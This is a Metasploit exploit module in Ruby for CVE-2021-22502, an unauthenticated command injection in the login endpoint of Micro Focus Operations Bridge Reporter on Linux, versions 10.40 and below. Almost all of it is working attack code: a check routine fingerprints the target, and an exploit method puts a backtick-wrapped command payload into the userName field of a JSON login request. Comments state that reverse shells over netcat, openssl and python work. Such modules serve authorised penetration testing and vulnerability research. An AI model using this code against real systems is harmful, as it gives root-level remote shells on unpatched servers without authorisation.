118 lines
4.4 KiB
Ruby
118 lines
4.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection',
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'Description' => %q{
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This module exploits a command injection vulnerability on *login* (yes, you read that right)
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that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
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It's a straight up command injection, with little escaping required and it works before
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authentication.
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This module has been tested on the Linux 10.40 version. Older versions might be affected,
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check the advisory for details.
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},
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'Author' => [
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2021-22502'],
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['ZDI', '21-153'],
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['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
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['URL', 'https://softwaresupport.softwaregrp.com/doc/KM03775947']
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],
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Payload' => {
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'Space' => 1024, # This should be a safe value, it might take much more
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'DisableNops' => true,
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# avoid null char and the injection char (`)
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'BadChars' => "\x00\x60",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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# all of these (and more) should exist in a standard RHEL / SuSE
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# ... which are the only two distros supported by Micro Focus OBR
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# (telnet doesn't seem to work though)
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#
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# all reverse shells were tested and work flawlessly
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'RequiredCmd' => 'netcat openssl generic python'
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}
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},
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'Targets' => [
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[ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2021-02-09',
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'SideEffects' => [ IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION ]
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}
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)
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)
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register_options(
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[
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# normal (no SSL) port is 21411
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Opt::RPORT(21412),
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OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
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OptString.new('TARGETURI', [true, 'Application path', '/'])
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]
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)
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end
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def check
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res = send_request_raw({
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'method' => 'POST',
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'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
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'headers' => { 'Content-Type' => 'application/json' },
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'data' => rand_text_alpha(10..64)
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}, 10)
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if res && res.code == 400 && res.body.include?('Unrecognized token')
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# should return a stack trace like
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# Unrecognized token '#{data}': was expecting ('true', 'false' or 'null')
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# at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Unknown
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end
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def exploit
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# if there are any 0x22 (") chars in the encoded payload, escape them with a backslash
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# we have to do this manually, the encoder is not smart enough to do it, and it will
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# fail if we put 0x22 as a bad char above
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payload_enc = payload.encoded.gsub('"', '\\"')
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# we use 0x60 (`) for injection, but there are lots of other possibilities
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data = "{\"userName\":\"#{rand_text_alpha(1..16)}`#{payload_enc}`\",\"credential\":\"#{rand_text_alpha(8..20)}\"}"
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send_request_raw({
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'method' => 'POST',
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'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
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'headers' => { 'Content-Type' => 'application/json' },
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'data' => data
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}, 0)
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# it's tricky to check the return value of the request here
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# - it might hang (no return) and give us a shell
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# - it might return 400 or 500 and give us a shell
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# - it might return 400 or 500 and give us nothing
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# so ignore it altogether and hope for the best
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print_status("#{peer} - Payload sent, now wait for Shelly, if she doesn't arrive try again!")
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end
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end
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